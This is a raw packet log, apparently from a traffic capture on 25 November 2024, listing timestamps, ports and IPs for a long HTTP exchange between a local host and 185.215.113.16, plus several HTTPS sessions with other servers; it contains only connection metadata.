Nov 25, 2024 18:28:53.343801975 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.343847990 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.344125986 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.344286919 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.344372034 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.344445944 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.344561100 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.345304966 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.345356941 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.345391989 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.345573902 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.346399069 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.346520901 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.346576929 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.347417116 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.347470999 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.347500086 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.347541094 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.348860025 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.348906040 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.349069118 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.349106073 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.350480080 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.350728035 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.350790024 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.351996899 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.352073908 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.352164984 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.352204084 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.353487968 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.353563070 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.353598118 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.353820086 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.355206013 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.355293989 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.355365038 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.355405092 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.356492996 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.356543064 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.356684923 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.356740952 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.357549906 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.357620955 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.357625961 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.358198881 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.358237028 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.358377934 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.358891010 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.359114885 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.359210968 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.359253883 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.359939098 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.360064983 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.360110998 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.360842943 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.360955000 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.361697912 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.361754894 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.361789942 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.362569094 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.362668991 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.362715960 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.363420010 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.363548994 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.363600016 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.364698887 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.364906073 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.364943981 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.365035057 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.365262985 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.365322113 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.365432978 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.366050005 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.366113901 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.366141081 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.366183043 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.366734028 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.366784096 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.366786957 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.366839886 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.367721081 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.367803097 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.367924929 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.368593931 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.368638039 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.368655920 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.368696928 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.369395971 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.369441986 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.369498968 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.369560003 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.370354891 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.370397091 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.370505095 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.370549917 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.371443987 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.371500969 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.371546030 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.371654987 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.372458935 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.372504950 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.372598886 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.372648954 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.373521090 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.373567104 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.373631001 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.373682976 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.374566078 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.374635935 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.374667883 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.374778032 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.375624895 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.375757933 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.376656055 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.376739979 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.377660036 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.377680063 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.377710104 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.377713919 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.377937078 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.378746986 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.378793955 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.378825903 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.378948927 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.379894972 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.379941940 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.380059958 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.380189896 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.380812883 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.380896091 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.380897045 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.380994081 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.381855011 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.381983995 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.382004023 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.382145882 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.382915974 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.383040905 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.383970022 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.384138107 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.384398937 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.385042906 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.385103941 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.385251999 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.385302067 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.386651039 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.386712074 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.386812925 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.386950016 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.387042046 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.387087107 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.387185097 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.387252092 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.388082027 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.388132095 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.388209105 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.388256073 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.389142036 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.389188051 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.389219999 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.389266968 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.390247107 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.390291929 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.390378952 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.390417099 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.391261101 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.391319990 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.391371012 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.392306089 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.392465115 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.392468929 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.392574072 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.393395901 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.393446922 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.393596888 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.394382954 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.394429922 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.394489050 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.394532919 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.395423889 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.395482063 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.395544052 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.395586967 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.396431923 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.396488905 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.396538973 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.396583080 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.397478104 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.397526026 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.397527933 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.397572994 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.398479939 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.398530006 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.400935888 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.401011944 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.401249886 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.401303053 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.401319981 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.401330948 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.401338100 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.404479027 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.404509068 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.404629946 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.404814005 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.404829025 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.466841936 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.466922998 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.466996908 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.467739105 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.467756033 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.517632008 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.517695904 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.518013954 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.518204927 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.518227100 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.518239975 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.518245935 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.518927097 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.518985987 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.519042969 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.519421101 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.519424915 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.519433975 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.519439936 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.522577047 CET	49906	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.522610903 CET	443	49906	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.522687912 CET	49906	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.522732019 CET	49907	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.522763968 CET	443	49907	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.522838116 CET	49907	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.522964001 CET	49906	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.522979975 CET	443	49906	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.523252010 CET	49907	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.523267031 CET	443	49907	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.545072079 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.545183897 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.545253992 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.545293093 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.545497894 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.545592070 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.545627117 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.545639038 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.546567917 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.546776056 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.546946049 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.546998024 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.547065020 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.547105074 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.547955036 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.548043013 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.548099041 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.549099922 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.549180984 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.549233913 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.550076962 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.550157070 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.550204992 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.551121950 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.551182985 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.551189899 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.551220894 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.552234888 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.552283049 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.552321911 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.552449942 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.553216934 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.553430080 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.553477049 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.554368973 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.554450035 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.554624081 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.555419922 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.555470943 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.555481911 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.555567980 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.556371927 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.556457996 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.556560993 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.556601048 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.557393074 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.557461977 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.557595015 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.557760000 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.558408022 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.558464050 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.558599949 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.559041023 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.559484959 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.559535980 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.559576988 CET	443	49900	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.559583902 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.559647083 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.560555935 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.560596943 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.560667038 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.560705900 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.561558008 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.561604977 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.561661959 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.562208891 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.562561035 CET	49900	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.562576056 CET	443	49900	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.562700987 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.562820911 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.562860966 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.563736916 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.563848972 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.563853025 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.563971043 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.564033985 CET	443	49900	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.564090014 CET	49900	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.564758062 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.564765930 CET	49900	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.564834118 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.564851046 CET	443	49900	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.564899921 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.565036058 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.565553904 CET	49900	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.565562963 CET	443	49900	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.565661907 CET	49900	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.565690994 CET	443	49900	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.565752983 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.565804005 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.565855026 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.565906048 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.566746950 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.566926956 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.566981077 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.567884922 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.567939043 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.567987919 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.568154097 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.568891048 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.568938017 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.569010019 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.569094896 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.569895983 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.570000887 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.570012093 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.570050001 CET	49892	80	192.168.2.5	185.215.113.16
